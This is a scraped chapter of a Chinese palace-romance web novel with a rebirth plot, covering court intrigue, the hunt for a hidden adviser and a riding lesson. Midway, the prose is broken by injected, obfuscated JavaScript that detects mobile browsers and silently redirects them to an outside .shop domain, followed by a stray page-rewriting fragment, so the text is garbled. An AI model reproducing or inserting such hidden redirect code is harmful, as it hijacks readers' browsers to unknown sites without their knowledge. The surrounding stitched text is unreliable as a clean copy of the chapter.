侍卫拦在营外,没有里面二位主子的口令他们断断不会放沈书进去。
消息传开后外营骚动一片,所有人都以为陈瑶筝坠马是一场意外,唯有大帐里的二人清楚,当下留在这里才是最好的选择。
京都城内势力盘根错节,一旦回京朝中局势变数极大,难保会有更多的“意外”发生。
皇家围场距京都城三十余里,守备森严,便于封锁消息调动禁军,陈瑶筝坠马一事便成了将百官滞留于此的最好借口。
沈书不顾侍卫的阻拦执意要闯入,“皇后娘娘重伤,本王身为皇室宗亲于情于理都应入内探望,尔等区区侍卫也敢阻拦?”
品月站在营外,“陛下有令,皇后娘娘静养期间任何人不得入内,请北梁王殿下速速离开。”
品月是陈瑶筝的侍女,沈书还是愿意卖她几分薄面的,冷静下来道:“本王只想知道娘娘伤势如何,看完就走。”
品月不是青冥,小脸板的严肃且认真,“夜已深,请北梁王殿下回营帐休息。”
“你!”
沈书气极,没想到陈瑶筝竟真的将他晾在门外,就这么在乎沈之唤的感受吗,在乎到可以丝毫不顾及他的心情。
“是不是沈之唤将阿筝关了起来,不让她见本王!”
唯有这个借口可以让他接受陈瑶筝突然不爱他的事实。
对啊,沈书恍然大悟!
他之前怎么没想到,阿筝一定是为了保护他才对他说出那些伤人的话,一定是这样的!
否则仅仅是他计划谋反一事怎么可能会让陈瑶筝说放手就放手,她不想他谋反可以告诉他,他会听她的话,会停手的。
品月垂手静立于门前:“殿下慎言。”
一边是持刀包围虎视眈眈的侍卫,一边是被层层包围,仍倨傲不下的沈书,门口还站着一尊“门神”,双方寸步不让,场面一时僵持不下。
大帐的门帘被人从里面推开,品月赶忙闪到一旁主动拉起厚重的门帘,出来的人让在场众人怔在原地。
只见小念辰迈步出来,小小的身躯站在高高的账陛之上,双手背后,周身浑然天成的沉敛矜贵之气度让众人对这个小娃娃肃然起敬。
“拜见太子殿下。”营外守卫纷纷下跪行礼。
沈书看着这个奶娃娃不明所以。
“平身。”小念辰的声音清亮带有稚气,语调却平稳从容,只听他缓缓道来,“父皇口谕,北梁王御前失仪扰了母后静养,罚禁足三日不得随意外出。”
大账内,陈瑶筝正在检查小念辰临摹的字帖,沈之唤守在她身旁犹豫了半天还是忍不住问,“为什么让念辰去?”
他本打算亲自出面的,沈书一而再再而三地蹬鼻子上脸,他早就想寻个由头惩戒一番。
当年沈书有句话说得很对,不被爱的人就该主动退出!
陈瑶筝只说:“让他练练胆儿。”
“母后。”小念辰宣完口谕回来,陈瑶筝合上帖子,“写得很好,母后明日亲自带你去跑马如何?”
“真的吗?”小念辰惊喜不已,但又想到……
“可是母后的腿……”
陈瑶筝将小家伙放到自己腿上坐好,“都说了是假的啦,母后怎么会让自己受伤呢。”
小念辰心情豁然开朗,“那我要母后亲自教我御马!”
“没问题。”
是夜,陈瑶筝和沈之唤都要睡了,林寒的声音在门外响起:“主子,情况紧急。”
沈之唤让林寒进外厅说,他披了件外衣出去。
“冯南并非我们一直在找的南风子。”林寒说。
沈书刚被禁足,林寒就借公事之由带人去查了冯南等人。
既然远在辽国的人不是南风子,那冯南势必就是真正南风子假扮的,一切将尘埃落定,如今林寒又说冯南不是南风子,这......
“也不是冯南,属下揭下他的假面,是张年轻的面孔,只是......”林寒低头,“属下无用,用尽酷刑仍未撬开他的嘴。”
“现在人在哪?”沈之唤冷冷问。
林寒回:“还在盐缸里泡着。”
“杀了吧,”沈之唤说,“南风子那个叫崖九的徒弟逃走后想必会找机会与其汇合,让人跟紧了崖九就能把南风子揪出来。”
“是。”林寒抱拳告退。
陈瑶筝将两人的对话听得一清二楚,见沈之唤回来,她迟疑地开口:“难道是我们想多了?”
沈之唤紧蹙的眉头久久不得舒展开,“阅礼当天的冯南是南风子无疑,否则为掩人耳目他不会主动找小璟搭话,南风子应该是昨日夜里或者今天白天潜逃出走的。”
延期返程的消息放出去之后他立马派御林军封锁了皇家围场所有出口,所有人员不得随意出行,所以南风子只能是诏令颁布之前就已经跑了。
“沈书被禁足前他就跑了,难道是他提前察觉到......”陈瑶筝越理脑子越乱,“那沈书呢,他不管沈书的死活了?”
这太说不通了,据他们所知,南风子是沈书的幕僚,如今沈书这个当主子的被关起来了他这个出谋划策的反而早早出逃,沈书知道这件事吗?
“已经让人去查了,暗卫从辽国一直跟着崖九,只要她与南风子碰面不愁抓不到他。”沈之唤吹灭床头的蜡烛,“睡觉吧。”
南风子的出现将陈瑶筝的一切布局全盘推翻,事情发展到现在几乎陷入了僵局,这一宿她辗转反侧实在难眠。
难不成这南风子还有未卜先知的能力,知道他们要动手了提前跑路,如果真的是这样反而好办多了,这南风子想来也是个贪生怕死之徒,不成威胁。
就怕他真的能未卜先知......未卜先知?
陈瑶筝脑子里突然冒出一个可怕的念头。
“睡不着吗?”
沈之唤突然撑起上半身来看她,陈瑶筝背对着他,沈之唤的墨发垂在她肩头。
陈瑶筝转过身,声音不算低:“沈之唤,你说南风子会不会是......”
说话声戛然而止,沈之唤也睡不着,他心底尘封了一件积压多年的陈年旧事,如果不是这段时间接二连三的变故他就快要将那件往事彻底忘干净了。
“会不会是什么?”沈之唤哑声问。
陈瑶筝闭上眼,“没什么。”
她心中有疑问南风子会不会跟她一样,也是重生之人,已经活过一世知道沈书将来会荣登大宝所以这一世才会主动找上沈书,否则又该怎么解释前世查无此人的人物这一世突然凭空出现。
但她没法跟沈之唤解释,索性直接闭了嘴。
沈之唤凑过去亲了下她的唇,轻抚陈瑶筝的后背安慰,“不用担心,沈书暂时无法与外界取得联系,不会再有变动的。”
陈瑶筝灵光乍现,“沈之唤,不如咱们让人将冯南被捕的消息告诉沈书,这样就能提前得知沈书是否知晓此事了。”
沈之唤的手一顿,落在陈瑶筝后背上,说:“不好。”
陈瑶筝瞪他,“你别幼稚了好不好,我又不是为了帮他,只是想看看沈书会作何反应咱们好提前应对。”
“我可没说你是为了帮他。”沈之唤喃喃自语。
陈瑶筝见他这架势是没有商量的余地了,挣开沈之唤的胳膊扭过身去,不再理他。
沈之唤掰了两下陈瑶筝的肩膀没掰动,索性直接长腿一跨从她身上跨过去和她面对面。
“我错了。”关于认错这件事上,沈之唤从不说废话。
这三个字说出口陈瑶筝便知道这件事再无转圜的余地了。
“你难道还想次次都靠这一套敷衍我吗?”
“不是敷衍,”从来都没有敷衍,沈之唤反驳,“你不开心了。”
陈瑶筝说,“我没有不开心,就是有点想不明白你现在怎么变成这样了,孰轻孰重分不清吗?”
“是你把我变成这样的。”声音小到几乎没有,陈瑶筝没听清,“你说什么?”
沈之唤紧紧抱住她,陈瑶筝挣了两下没挣开,沈之唤的声音从耳边响起,“我说我分得清,只要你不提沈书,我比谁都知道什么是大局。”
陈瑶筝顿时泄气,重重叹息一声,右手扣在他后脑勺上,“睡觉好不好?”
“好。”
圣驾暂缓归京,朝堂政务不可荒废,这不,早朝刚开始就有两三个大臣站出来联名上奏前往帝后大帐探视伤情。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758112|205944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沈之唤冷眼扫过底下跪着的人,明眼人都能看出他动怒了,这几个人仍一意孤行这是打算长跪不起的架势。
沈之唤后悔没让陈瑶筝来旁听,好好看看这群人的嘴脸。
他们还没动手呢,沈书就先坐不住了,这是向他施压吗,好告诉自己他在朝中不是无枝可依。
人群中靠后的两位大人对视一眼,刚迈出去的脚悄无声息地缩了回来。
既然愿意跪就跪着,沈之唤将伏身跪在地上的三个大臣晾在一旁,继续听政。
早朝过后,陈聿瑾来帝后大帐辞行。
他此番走的低调,不想给京都城引来不必要的纷争,他是戍边将军,离京的消息传出定会引得百姓议论纷纷。
“你要带大嫂走?!”
陈瑶筝听说陈聿瑾要带顾盼一同前往边关时脸上的表情不要太精彩。
陈聿瑾瞥了她一眼:“怎么,你有意见?”
“大嫂身子弱,你能照顾好吗?”
沈之唤这时说:“不如带上位太医吧,路上也可安心些。”
就在陈瑶筝以为陈聿瑾会拒绝,她刚想替他应下来时,陈聿瑾却说:“是,多谢陛下厚爱。”
陈瑶筝:......
暗一和月白随陈聿瑾一同离开,送走了陈聿瑾顾盼,陈瑶筝和沈之唤秘密去了皇家围场附近的千客山庄。
这儿是沈之唤做太子时购入的一处山庄,因距京都城太远这么些年便一直空着。
陈瑶筝兑现承诺,一到山庄便带着小念辰直奔马场。
陈瑶筝的御马之术是同沈之唤一同学的,师承同一人,这些年在丹阳郡也一直没有荒废。
这几日小念辰在闲苑骑的都是小矮马,沈之唤牵了两匹高大的骏马来,陈瑶筝问小念辰:“害怕吗?”
小念辰摇头:“有母后保护辰儿,辰儿不怕。”
沈之唤将小念辰抱上马,陈瑶筝让他抓着马鞍子,先由她牵着缰绳带小念辰走两圈,让他适应一下大马的高度。
沈之唤跟在母子俩身后,稳稳地护着小念辰防止他摔下来。
陈瑶筝细心叮嘱,“挺直腰背,不要盯着马头看,要目视前方知道吗,手不用握得太紧,有母后和父皇在不会让你掉下来的。”
小念辰挺了挺后背,“辰儿记住了。”
两圈走完,陈瑶筝抬手梳理骏马顺滑的鬃毛,将缰绳递到小念辰手中教他如何正确握缰绳。
双手一前一后放在小念辰腰背两侧,帮他感受腰腹发力,“你从前骑的小矮马腿短步子小,走起来起伏小,大马迈步会更大一些,一定要挺直腰背,用肚子和腰微微发力,让身体跟着马儿上下起伏的幅度轻轻晃动,不能僵坐着不动也不可随意乱晃。”
小念辰一一应下,陈瑶筝朝他手上拍了怕,“手不用太给力,放松一点轻轻地握住就好。”
“嗯。”讲实话小念辰第一次骑这么高的马,说不紧张是假的。
但对于小念辰来说,此刻的激动与幸福完完全全填满了心底的紧张。
一开始,沈之唤的一只手扶在小念辰后腰上跟着他走,渐渐地小念辰彻底放松下来沈之唤便放心放手了。
小念辰学得很快,才走了几圈便自己找到了掌握平衡的方法。
他对陈瑶筝说:“母后,您不必一直牵着马,辰儿已经掌握了平衡接下来勤加练习就好了,您和父皇去喝茶休息吧。”
开春了,午后日头很大,几圈下来陈瑶筝身上确实出了不少汗,沈之唤喊了侍卫过来,便同沈之唤到一旁的凉棚下休息了。
马场上前前后后围了五六个侍卫保护小念辰,小念辰小手一指,指向马尾处一身形高瘦的侍卫,命令道:“你来为本太子牵马。”
马头的侍卫闻言退下,后方的小侍卫肩头微不可查地颤了一下才快步走向马头。
仔细瞧瞧,被小念辰点名的小侍卫正是去年在荼蘼水榭被他牵连受罚的侍卫裴听风。
裴听风把头埋到最低,祈祷太子殿下不要将他认出来。
骑了一下午马,天刚擦黑小念辰就睡着了。
千客山庄的酒庄最具盛名,沐浴过后沈之唤邀陈瑶筝一同前往地下酒窖品酒。